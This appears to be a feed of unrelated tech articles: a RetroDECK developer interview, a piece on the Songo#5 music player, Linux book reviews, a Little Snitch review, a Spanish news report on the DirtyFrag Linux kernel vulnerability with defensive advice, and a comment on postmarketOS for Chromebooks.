I really wish that one day in the future this could be legally possible for abandonware games as well.

"A man can dream though. A man can dream."
―Hubert J. Farnsworth

IceNine451: I don’t really think you can have one without the other. The software is the experience. The experience is the history. Gaming is as much a part of shared culture as any other form of art. Some art is made to be art. Some art is made to make money. But that doesn’t stop it being art.

Hemingway wrote books for booze money. That doesn’t make the impact his stories have had on people any less deserving. Video games is one of the largest industries on the planet, with more money moving around that almost anything else.

But there have always been people with stories to tell and they used games to do it. In my mind, preserving video games is equally as important as preserving books, music or movies.

When working on RetroDECK, do you find yourselves thinking more about the hardware being recreated, or about the games and experiences people grew up with?

Lazorne: It is about the experiences people grew up with, the stories they want to retell and the memories they want to revisit.

But it is also about allowing people to experience those moments in new ways by making enhancements like mods and ROM hacks more accessible.

That is it!

Adam: For me, it’s all about the games!

Of course, there are some ways in which the hardware is essential PS1 has funny visual quirks. But at the end of the day, playing these games can tap into nostalgia and fun memories for us dinosaurs.

Hopefully it helps younger gamers make some of their own!

Xargon: Real hardware is certainly fascinating. Sometimes I take out my Famicom and Mega Drive to show my kids how it was back then, but when it comes to actually playing the games, I prefer more modern hardware. It’s a matter of simplicity and accessibility.

However, it’s important to never forget where it all comes from. For example, my WonderSwan, GB Pocket, GB Color, NDS, and similar devices are tucked away in a closet, waiting to be properly displayed in a showcase one day.

I still use my GBA though, but it’s been so heavily modded that it’s questionable whether it’s still a GBA or something entirely new.

Oh, and I still play my PS Vita and 3DS.

"But PS Vita and 3DS are not retro!"

"They are, in my heart"

IceNine451: When working on RetroDECK, I mostly only have time to focus on making RetroDECK work.😂Ultimately, the “hardware recreation” part of it is done by others, the people working on the emulators, engines and other programs and systems we integrate.

We just try to bring it all together, make it easy and powerful so people can focus on those experiences without needing to spend time tinkering, unless they want to.

What kinds of retro experiences would you love to see more people rediscover through RetroDECK?

Lazorne: DOOM WADs has always had a huge a dedicated following. But I still wish more people explored it and the decades of content available.

It is a genre I personally enjoy through RetroDECK thanks to our smart .doom integration and is the main way I play DOOM.

I just love modding in general for all games.

Lahrs: Pinball and these large machines were a rare novelty in homes and in nearly every instance had to be enjoyed in arcades.

Arcades are all but gone and the machines remain a home novelty.

Retro gaming is a way to bring those experiences back to life in ways that were not possible before.

Xargon: MS-DOS and Windows 9x games often had very colorful graphics and each game was its own piece of art.

I have actually been working on something in the Windows 9x direction for a future release to make it easier to install Win9x on DOSBox-X and play your old Windows 3.1, 95, 98 favorites via RetroDECK with extreme simplicity.

However, back then there were no standards of how a game should work, so most titles were pretty much unique as they are reinventing the wheel every time in a good way.

A lot of games got very very very...original concepts (sometimes not entirely optimal). I feel like they’re a breath of fresh air nowadays, in a world where techniques and designs are largely standardized.

As for arcade games… I would love to build an arcade cabinet to enjoy with my kids one day.

IceNine451: I think Lazorne brings up one of the best examples with DOOM WADs. Game modding has a huge history, well before “1st party modding toolkits” were ever a thing.

I think it would be awesome for more people to not only get the original gaming experiences of the past, but also see what normal everyday people did with them, projects to make something wholly new to share with their friends.

Using gaming engines as a way to invent new stories, new ways to play that even the original devs never thought of. A huge amount of human ingenuity goes into gaming, and I think it is important to preserve and share it.

That, and playing a older-generation fighting game on a janky taped up controller with your friends for so long you have blisters for a week.

If someone installs RetroDECK expecting just another emulator package, what do you hope surprises them the most?

Lazorne: I believe that when we release version 0.11.0 (our next major update, NO ETA!) users will be treated to a variety of components and tools they have never seen before in this format.

Users will be able to connect to a MUD, play pinball and explore a wide range of gaming experiences in our all-in-one flatpak Retro Gaming Platform we call RetroDECK.

We will also add support for applying xdelta patches via built-in Delta Patcher enabling ROM hacks that are not based on IPS files.

They will discover classic platforms like the TRS-80 or the Milton Bradley Microvision, while also gaining new ways to enjoy classic FPS games with mods such as Wolfenstein 3D or Quake.

But also more that we are not ready to share yet.

Lahrs: People will come expecting just an emulator package because they are unaware of what is possible. I want them to see what is available and think “What does this do?”.

The surprise is the discovery that they are a part of something bigger and RetroDECK wants to point the way.

Xargon: One click simplicity and straightforwardness(hopefully).

Since the beginning, our goal has been to make it “just work” right out of the box (but that has been a huge undertaking).

The only limit is the law, which often doesn’t allow the redistribution of certain components. Such as proprietary software, assets or BIOS files. Unfortunately, that’s something we usually cannot provide. However when the BIOS is open source, we always try to include it.

In some cases, companies still like Sony still provide the PS3 firmware on their website (thank you!), which users can download and use with RPCS3. Tech-savvy users can even extract the PS2 and PS1 BIOS from the PS3 firmware as they are bundled inside it.

There are also free alternatives to proprietary assets, with projects like Freedoom and LibreQuake that we could include but we also want to save some space. Maybe in the future via some other method. 😄

IceNine451: The way that I think we can (or at least I hope we can) surprise new users is by the sheer breadth of the systems we support. For most “mainstream” emulation needs, RetroArch already covers like 90% of what every “emulation package” covers.

Now lets cover everything they don’t cover.

Lets get into the systems where only like 5 people even care about it, but it makes those 5 peoples’ day. Lets provide a platform for those kinds of systems and maybe inspire someone who grew up playing a niche system to create a whole new emulator for it, knowing that there are projects out there trying to support ALL gaming experiences, not just the mainstream stuff.

Lets bring gaming to the people, not just “the Super Nintendo” or “the Sega Genesis” (which did what Nintendidn’t). The entire experience, good and bad (I’m looking at you, “E.T. the Extra-Terrestrial” on Atari).

Personally, I always like to experience the “first” of something, just from a curiosity and historical standpoint. I was there (3000 years ago) when Marathon revolutionized the FPS genre by properly implementing the modern gaming concept of “being able to look up and down”.

I know there are other people out there, like me, who want to see these “firsts” in the gaming industry. And we’ll see what we can do to make it as painless as possible to do that.

And that's that!

A huge thank you to everyone involved in RetroDECK for taking the time to share their thoughts, stories, and philosophy with me. It’s always a pleasure to dive into a project with this much passion behind it, and as always, I genuinely love spreading the RetroDECK love.

For more information on RetroDECK (because you just have to check it out after reading all of this, right?!), or to chat with the users, you can use the links below:

RetroDECK

RetroDECK is a polished, beginner-friendly retro gaming platform for Linux systems, available with just one click from Flathub.

Join the RetroDECK Discord Server!

RetroDECK’s official Discord server | 3648 members

Discord

Read more: Developer Interview, Emulation, Gaming, Linux, RetroDECK, steam deck

If you still use Google as your search engine, consider adding The Bryant Review as one of your preferred sources.

About the Author:

dash

Dash is 𝘰𝘣𝘴𝘦𝘴𝘴𝘦𝘥 with gaming in all its forms. Opting for FOSS over everything else, you can follow along here for articles on handheld gaming, Android emulation, GOG, gaming retrospectives and the developers keeping open-source gaming alive.

From Optional App to Built-In: Songo#5’s Expansion Across Firmware and Android

Tue, 12 May 2026 10:57:09 +0000

Become a Member

Join the thousands who have already subscribed to The Bryant Review! Membership unlocks exclusive articles, a customizable reading experience, and you won't see this message again!

Email sent! Check your inbox to complete your signup.

No spam. Unsubscribe anytime.

Quietly becoming part of the firmware layer

Songo#5’s move into being bundled by default in handheld firmware like Spruce and soon muOS wasn’t something its developer, Riley, ever planned for. Even now, he frames it as something that still feels slightly unreal.

He describes it simply: he “didn’t expect it at all” and says he’s “beyond excited that these dev teams trust me and like the app enough to include it in their respective firmwares.”

That sense of momentum also reflects how far the project itself has come since early 2026. Songo#5 has steadily expanded from a lightweight music player into a more fully featured application, adding broad format support, seeking, customization options, and a long list of quality-of-life improvements. Riley says development hasn’t slowed at any point, and doesn’t intend for it to.

How Songo became part of Spruce (and muOS)

Songo#5 running on multiple devices

The integration into Spruce didn’t begin as a formal plan, but as a practical extension of compatibility work. Riley initially joined the Spruce Discord with the intention of improving support for the PortMaster version of Songo#5. As that work expanded across multiple devices, the distinction between a standalone app and something more native started to blur.

As he puts it, once compatibility had been ironed out across the Spruce family, “it just started to make sense to make it part of their code ecosystem.”

At that point, what had been a loose idea (adding a shortcut) shifted into something more structural. Riley recalls asking how users could launch Songo#5 from within the Spruce app directory, only for the suggestion to come back in a more direct form: just integrate it properly.

He also credits the shared design philosophy as a major factor in that decision.

“I think adding Songo#5 to Spruce made a lot of sense because both our respective projects put a lot of importance in quality of UI/UX.”

Collaboration has remained an ongoing part of the process. Riley works with multiple firmware teams and credits them directly in the app, though he notes he is in particularly close contact with Spruce and muOS developers. The relationship is active enough that iteration happens continuously, rather than in isolated release cycles.

From optional install to default experience

Image credit to Prudent-Enthusiasm79, ChunkyMicrowave and GenesisBreak

Being included by default changes the context Songo#5 sits in. It is no longer something users deliberately seek out, but something they encounter as part of the system itself.

That shift has slightly changed how Riley thinks about onboarding, but not in a dramatic way. Much of the foundation is already in place, including early guidance for importing music and using the app. Still, he acknowledges there are refinements he wants to make, particularly around playlist creation and clarity for first-time users.

The more immediate change is responsibility. When software is bundled at firmware level, any serious issue no longer sits with the app alone.

“If I accidentally ship a critical bug its going to be the muOS and Spruce devs that get complaints directed at them so I’m being especially careful to maintain and improve app stability.”

One subtle but important consequence of this shift is perception. Riley notes that some users still encounter Songo#5 through PortMaster and assume it is a port of something else, rather than something designed specifically for these devices.

Looking toward Android & What Comes Next

Alongside its growing presence in Linux-based firmware, Songo#5 is also moving toward Android. For Riley, this isn’t a question of whether it will happen, but when.

The motivation comes from seeing a growing category of compact Android handhelds that could function as dedicated music players.

“I see devices like the RG Rotate, the MagicX Zero28 or the RP Classic and think ‘I want to put Songo on that’.”

From a technical perspective, he doesn’t expect the transition to be especially difficult. The application is already UI-driven, and many of the core requirements are in place.

“It’s not going to be very hard since its a UI based application already…a lot of the prerequisites for an easy porting experience to android are already met.”

The main unknown is simply experience with the platform.

“I haven’t ported something to Android before though so maybe my ignorance will get the best of me. Let’s just say I’m optimistic.”

With distribution increasingly handled through firmware inclusion, development focus is shifting toward expansion and refinement. Planned work includes performance improvements, particularly around audio streaming, as well as features like language support, metadata editing, and background playback.

One of the most ambitious upcoming additions is RBIT, or RockBox Interpreted Themes. The system is designed to allow Songo#5 to use existing themes from the Rockbox ecosystem, including a large library of iPod Classic-era designs.

Rather than replacing that ecosystem, Riley positions it as a bridge into it, with early prototypes already working. The goal is to eventually release RBIT as a standalone module that other developers can build on.

ℹ️

Songo#5 is also beginning to influence adjacent projects! Riley pointed out the community-led work such as a Rocknix fork that uses Songo#5 to turn supported handhelds into dedicated music players!

Songo#5 running on Linux (image sent to me by Riley)

The quiet shift to default

Despite its growing presence across firmware ecosystems, Riley is careful not to frame Songo#5 as a finished product or dominant standard. He describes its trajectory to me super cautiously, seeing its current position as part of a longer development curve rather than an endpoint.

For now, his focus remains on refinement, new features, and exploring what happens next, especially as Android support moves closer and firmware adoption becomes the norm rather than the exception.

Songo#5, in its current form, is still evolving. But it is also increasingly something users don’t install anymore, they'll just find it already there.

Songo#5's recent logo change!

Fin.

I've been using Songo#5 myself since my last article on it, back in February! I'd encourage everyone who is interested to check it out, and maybe even join the 2.6K members of the r/ConsolesAsDAPs sub-reddit who are using their gaming handhelds as audio devices.

I'm sure Riley is quite tired of me sending him pictures every time I have it playing on my TRIMUI Brick Hammer, but I can say that won't be stopping any time soon.

Read more: Developer Interview, Linux, Songo#5, Emulation, Music, MP3 Players, Developer Story

If you still use Google as your search engine, consider adding The Bryant Review as one of your preferred sources.

About the Author:

dash

'Bash Idioms' - Book Review

Tue, 12 May 2026 00:23:49 +0000

Bash Idioms
by Carl Albing & JP Vossen
2022, O'Reilly, 153p.

I picked this up on spec from my local library as I write a lot of shell scripts, all in Bash; it's by far my most-used programming language. And this slim book claims to show you how to write better scripts.

This is a book for people who already know Bash: it's not teaching Bash, it's teaching how to use Bash better once you already know it. If you've written a few two- and three-line scripts, this isn't for you. If you've written multiple scripts in the the 50-200 line range, you need to read this NOW.

A Bash beginner could read this and it would make sense ... but it wouldn't stick. For that, you need to have already done a number of these things wrong. The book tells you how to do so many things about Bash right, and for a person with a history with the language, it'll really hit home. I took notes all the way through and my Bash coding will be significantly improved going forward.

Let's see: I didn't even know the readonly builtin existed. That's on me, but now I do. I'm switching to using [[ ]] instead of [ ] - the only reason to use the latter is compatibility with other shells, and the former is better. I now understand the difference between ${array[*]} and ${array[@]}. I also picked up numerous tips on making scripts more readable, elegant and simpler.

I'll end with my favourite quote from the book. Their style guide starts with "Above all: KISS - Keep It Simple, Stupid!" Some more explanation follows: this isn't new advice. But then they provided a probably-famous quote I'd never heard before: "The corollary, as Brian Kernighan famously said, is that debugging is twice as hard as writing the code in the first place, so if your code is as clever as you can make it, you are - by definition - not smart enough to debug it." I've never understood those enamoured of "clever" code, but this reminds me to continue to try to always write clear and simple code.

'Linux Bible' Eleventh Edition - Book Review

Tue, 12 May 2026 00:23:49 +0000

Linux Bible Eleventh Edition
by Christopher Negus
2026, Wiley, 853p.

This is intended as a reference volume for Linux users. Clearly a popular one as it's made it to its eleventh edition. As a long-time Linux user ... I sat down and read about half of it. It's good to read recent, up-to-date material about subjects you're interested in to stay current. And this one is well constructed, starting with basic Linux topics and moving on to more advanced ones as it progresses, describing each well before moving on. Most people will use this more as it was intended, as a reference - but if you need it, it's a damn fine reference that will prove very helpful.

"Little Snitch" Reveals Software Phoning Home and Pulling Ads

Tue, 12 May 2026 00:23:49 +0000

A recent review pointed me to a Mac software called "Little Snitch" that's now available on Linux. I downloaded and installed the Debian package, and found the results fascinating. If you're interested, you should read this rebuttal (pointed out by a friend) before you install it. I'm going to talk about the software before I talk about the problems raised in the rebuttal.

The author of the software has gone to some trouble to provide packages for several distros and architectures. In my case, I needed the Debian amd64 package. The install was as easy as apt install Downloads/littlesnitch_1.0.5_amd64.deb as root. The package installs a system file and starts the service. If you run littlesnitch at the command line (as a regular user) it will start your default browser and go to http://localhost:3031/index.html.

Little Snitch does several things, but the most immediately visible after you install and activate it is as a passive firewall collecting information about outgoing and inbound network traffic. So you'll see "chromium" or "firefox", "cron", "sshd", "kdeconnectd" (which shouldn't even still be running on my system), etc. In each case you can expand the information to find out where it connected to, and to some extent "why."

One of the things it made clear to me is what a difference a good ad blocker makes. I have the "uBlock Origin" plugin installed on Firefox, but occasionally find it necessary to use Chromium. And despite my barely ever using Chromium and having FF open all day every day, Chromium visits more sites and downloads more shit than FF ever does.

Little Snitch also allows active blocking, with the ability to add rules through the web interface. I haven't experimented with this yet.

Response to the Rebuttal

the rebuttal link (again).

The author of this article is unhappy because Little Snitch includes a proprietary blob - it's not fully open source. And also because they consider this is a "solved problem" for Linux as it's relatively easy to manage your network connections at your router.

I entirely agree with the first point: I didn't realize that Little Snitch wasn't fully open source, and I don't like that. As for the second point ... yes, we can manage connections at routers and it's better than installing sniffer-blockers on individual machines. But ... I haven't seen a Linux solution that makes it this simple to determine what's going on, or this clear to visualize the problem. Which I think most people will need to see before they ever get around to setting up router-level blocking.

Maybe they're right that you should avoid Little Snitch. I already had it installed before I read the article, and will keep it installed for a while longer. I'm finding it eye-opening and a good reminder that even on Linux your software does stuff you're not aware of, and occasionally even things that go contrary to your privacy.

DirtyFrag agrava la alarma en Linux: otro fallo permite escalar a root

Mon, 11 May 2026 17:58:44 +0000

La seguridad del kernel Linux atraviesa una de esas semanas que obligan a parar y revisar prioridades. Apenas unos días después de Copy Fail, la vulnerabilidad CVE-2026-31431 que ya había puesto en alerta a administradores y equipos cloud, ha aparecido DirtyFrag, una nueva cadena de fallos de escalada local de privilegios que permite obtener permisos de root en grandes distribuciones Linux bajo determinadas condiciones.

El caso es especialmente delicado porque combina dos problemas en subsistemas de red del kernel, afecta a piezas presentes o habituales en muchas distribuciones y llegó a hacerse público en un contexto de embargo roto, con prueba de concepto disponible antes de que todas las distribuciones pudieran publicar parches coordinados. Red Hat resume el impacto de forma clara: un usuario con cuenta local podría activar los fallos y ganar privilegios de administrador.

Conviene no exagerar de forma imprecisa. DirtyFrag no es, por sí sola, una vulnerabilidad remota que permita entrar desde Internet en cualquier servidor Linux sin credenciales. Es una LPE, una escalada local de privilegios. Pero esa diferencia no debe rebajar la preocupación. En entornos modernos, conseguir ejecución local no siempre es difícil: puede venir de una web vulnerable, un contenedor comprometido, un runner de CI/CD, una cuenta de hosting, un usuario de baja confianza o una aplicación que ejecuta código de terceros.

DirtyFrag: de usuario sin privilegios a root

DirtyFrag fue descrita por Hyunwoo Kim, conocido como V4bel, como una clase de vulnerabilidades que encadena dos escrituras en la caché de páginas del kernel: una en xfrm-ESP, vinculada a IPsec ESP, y otra en RxRPC. El investigador la relaciona con la misma familia conceptual de Dirty Pipe y Copy Fail: errores lógicos deterministas que no dependen de una ventana de carrera, no requieren un fallo de timing y tienen una tasa de éxito alta cuando se cumplen las condiciones.

La parte xfrm-ESP ya ha recibido el identificador CVE-2026-43284 y cuenta con corrección en el árbol principal del kernel, además de referencias en ramas estables. La descripción del NVD explica que el problema se produce cuando páginas asociadas mediante MSG_SPLICE_PAGES acaban tratándose como fragmentos ordinarios en determinadas rutas de datagramas IPv4/IPv6, lo que permite que ESP descifre en el sitio datos que no pertenecen de forma privada al skb.

La segunda parte, RxRPC Page-Cache Write, aparece reservada como CVE-2026-43500 para seguimiento. Según la información publicada por el repositorio del investigador, en el momento de la actualización del 8 de mayo no existía todavía parche en ningún árbol para esa mitad de la cadena. AlmaLinux, por su parte, indicaba que los kernels corregidos estaban en pruebas y que todos sus lanzamientos soportados estaban afectados por la parte ESP.

Lo preocupante no es solo que haya un bug. Linux tiene bugs, como cualquier software complejo. Lo preocupante es el patrón. DirtyFrag llega después de Copy Fail, otro fallo de escritura controlada en caché de páginas que permitía a un usuario local sin privilegios escalar a root mediante el subsistema criptográfico del kernel. NVD describe Copy Fail como una corrección en algif_aead para abandonar operaciones in-place que no aportaban beneficio y añadían complejidad peligrosa.

Una familia de fallos que toca una zona muy sensible

Dirty Pipe ya mostró en 2022 lo peligrosa que puede ser una escritura indebida sobre páginas respaldadas por archivos de solo lectura. El NVD recuerda que CVE-2022-0847 fue incluida en el catálogo KEV de CISA y permitía a usuarios locales escribir en páginas de la page cache para escalar privilegios. DirtyFrag y Copy Fail no son el mismo bug, pero pertenecen a una conversación técnica parecida: pequeños errores de propiedad, copia o escritura en memoria pueden convertirse en una escalada completa a root.

Esto tiene implicaciones fuertes para cloud, Kubernetes, plataformas multiusuario, entornos de hosting, laboratorios, CI/CD y servidores donde usuarios o procesos no completamente confiables pueden ejecutar código. Microsoft, al analizar Copy Fail, advertía de que una explotación con éxito podía derivar en escalada a root, facilitar escapes de contenedor, comprometer entornos multi-tenant y favorecer movimiento lateral en infraestructuras compartidas.

La misma lógica se aplica a DirtyFrag. Una escalada local no empieza la intrusión, pero puede convertir una intrusión limitada en compromiso total del host. Un atacante que entra como usuario de servicio, como proceso dentro de un contenedor o como cuenta con pocos permisos puede usar una LPE fiable para romper el modelo de aislamiento. En servidores compartidos, esa diferencia es enorme.

Por eso no basta con decir “requiere acceso local”. En 2026, el acceso local puede venir de muchos sitios. Muchas organizaciones ejecutan código de terceros en pipelines, funciones serverless, contenedores temporales, plataformas de datos, notebooks, herramientas de automatización o servicios expuestos. Si el kernel permite pasar de ese punto inicial a root, el riesgo sube de nivel.

Qué pueden hacer los administradores mientras llegan parches

La prioridad es seguir los avisos de cada distribución y actualizar el kernel en cuanto haya paquetes disponibles. En este tipo de fallos, la diferencia entre “tengo el parche preparado” y “lo he desplegado y reiniciado” es crítica. Los equipos deben comprobar versiones reales en ejecución, no solo paquetes instalados, porque un servidor puede tener el kernel actualizado en disco y seguir ejecutando el anterior hasta reiniciar.

Cuando no haya parche disponible o no pueda aplicarse de inmediato, las mitigaciones deben centrarse en reducir superficie. El repositorio de DirtyFrag recomienda deshabilitar temporalmente los módulos esp4, esp6 y rxrpc si no son necesarios, además de limpiar la caché de páginas o reiniciar después de pruebas o posibles ejecuciones del exploit. Red Hat también recomienda medidas generales de endurecimiento que limiten acceso local, como restringir SSH, mantener SELinux en enforcing, usar políticas de seguridad por defecto, ejecutar cargas como no root y limitar accesos de depuración en clústeres a administradores de confianza.

En Kubernetes y plataformas de contenedores, la revisión debe ser más estricta. Hay que reducir contenedores privilegiados, revisar capacidades Linux, limitar hostPath, controlar el acceso a nodos, restringir runners compartidos y tratar cualquier workload no confiable como un punto potencial de salto. En CI/CD, donde a menudo se ejecuta código de ramas, pull requests o paquetes externos, DirtyFrag y Copy Fail deberían activar una revisión urgente de aislamiento.

También es recomendable revisar telemetría y EDR, aunque con una limitación importante: los fallos basados en corrupción de page cache pueden dejar menos rastro que modificaciones persistentes en disco. En Copy Fail, CISA incorporó CVE-2026-31431 a su catálogo de vulnerabilidades explotadas y fijó como acción aplicar mitigaciones de proveedor o dejar de usar el producto si no había mitigaciones disponibles.

Linux no está “roto”, pero el aviso es serio

Decir que la seguridad de Linux está rota puede ser comprensible como reacción emocional, pero no ayuda a tomar buenas decisiones. Linux sigue siendo uno de los sistemas más auditados, más parcheados y más observados del mundo. Precisamente por eso estos fallos se descubren, se discuten y se corrigen públicamente. El problema no es que Linux sea peor que otros sistemas. El problema es que el kernel es una pieza inmensa, con décadas de compatibilidad, optimizaciones y subsistemas muy difíciles de razonar.

La diferencia ahora está en la velocidad. Copy Fail fue hallado con ayuda de análisis asistido por IA, según Theori, y DirtyFrag aparece inmediatamente después como una ampliación de la misma clase de problemas. Esto apunta a un escenario nuevo: las familias de bugs se exploran más rápido, los parches públicos pueden dar pistas para variantes y las pruebas de concepto circulan antes de que muchas organizaciones hayan terminado de actualizar.

Para los defensores, la respuesta no puede ser esperar. Hay que asumir que aparecerán más variantes. El kernel Linux, como cualquier base crítica, necesita más auditoría continua, más fuzzing, más análisis con modelos de IA, más pruebas de regresión y ciclos de parcheo más ágiles. Y las empresas necesitan menos confianza ciega en que “esto no nos afecta” y más inventario real de kernels, módulos cargados, workloads con usuarios no confiables y exposición multi-tenant.

DirtyFrag no es solo otro nombre llamativo en la saga de los “Dirty”. Es un recordatorio de que la seguridad moderna ya no se rompe solo por un servicio expuesto en Internet. También se rompe por pequeñas decisiones internas de memoria, compartición de páginas, fast paths de rendimiento y módulos poco visibles que, combinados, permiten tomar el control completo del sistema.

Linux seguirá siendo la base de cloud, contenedores, servidores, edge, telecomunicaciones, supercomputación e inteligencia artificial. Justo por eso estos fallos importan tanto. No porque haya que abandonar Linux, sino porque hay que tratarlo como lo que es: infraestructura crítica que requiere parcheo rápido, defensa en profundidad y una disciplina operativa mucho más exigente.

Preguntas frecuentes

¿Qué es DirtyFrag?
DirtyFrag es una cadena de vulnerabilidades de escalada local de privilegios en el kernel Linux que combina fallos en xfrm-ESP/IPsec y RxRPC para permitir que un usuario local pueda obtener permisos de root en determinadas distribuciones.

¿DirtyFrag permite atacar un servidor Linux desde Internet?
No directamente. Es una vulnerabilidad local, por lo que el atacante necesita ejecutar código en el sistema. Aun así, es muy peligrosa en servidores compartidos, contenedores, CI/CD, hosting, Kubernetes y entornos donde pueda existir ejecución de código no confiable.

¿Hay parche disponible?
La parte xfrm-ESP tiene asignado CVE-2026-43284 y ya cuenta con correcciones en upstream y ramas estables del kernel. La parte RxRPC aparece reservada como CVE-2026-43500 y su disponibilidad de parche depende del estado de cada árbol y distribución.

¿Qué deben hacer los administradores?
Actualizar el kernel en cuanto la distribución publique parches, reiniciar para cargar la versión corregida, revisar módulos afectados, limitar acceso local y endurecer entornos multiusuario, contenedores y pipelines CI/CD.

“My favorite device is a Chromebook, without ChromeOS”

Mon, 11 May 2026 10:55:14 +0000

Alfmanverbose=1

Thom Holwerda,

If you’re sick of Chrome OS on your Chromebook, or can find a Chromebook for cheap somewhere but don’t actually want to use Chrome OS, have you considered postmarketOS?

Yes, very much so!

I had a chromebook secondhand. My hopes were very high of reprogramming cheap chromebook hardware using programming cables to unlock it and install a better unrestricted OS. It wasn’t until I had it in hand that I realized that I had been misinformed about the ability to flash a new OS on generic chromebooks. That’s not the case, only select chromebooks work and jailbreaking/alt OS kind of mirrors the mess we see on android – it sucks on a good day. In retrospect it was foolish of me to believe things were less locked down on typical chromebooks, but I didn’t know better at the time.

The link provides six chromebook laptops compatible with this project, and that is good to know. It still irks me though that so many chromebooks are becoming e-waste with many millions more in the coming years and not being able to make use of them because while the hardware is fine, so few models can have the OS be DIY upgraded by the owner. Ugh.

It’s just wishful thinking I know, but these tech companies need to be given a legal ultimatum: unlock devices for owners at EOL or else be forced to pay a tax for creating e-waste by means of depriving owners of the keys needed to support the product. Obviously manufacturers the world over are against this, but frankly they don’t deserve to be given another inch on the e-waste they’ve inflicting on the rest of society for decades. It’s inexcusable that these companies keep getting away with it. If the costs of e-waste were born by the companies like google and apple directly responsible for depriving owner rights, they’d suddenly see to it that the problem actually got fixed. We know with 100% certainty that without incentives to do that right thing, the problem will just continue indefinitely.

Anyray ranting about ownership rights aside, postmarketOS looks pretty neat! I might try to give it a go if I can find the appropriate hardware.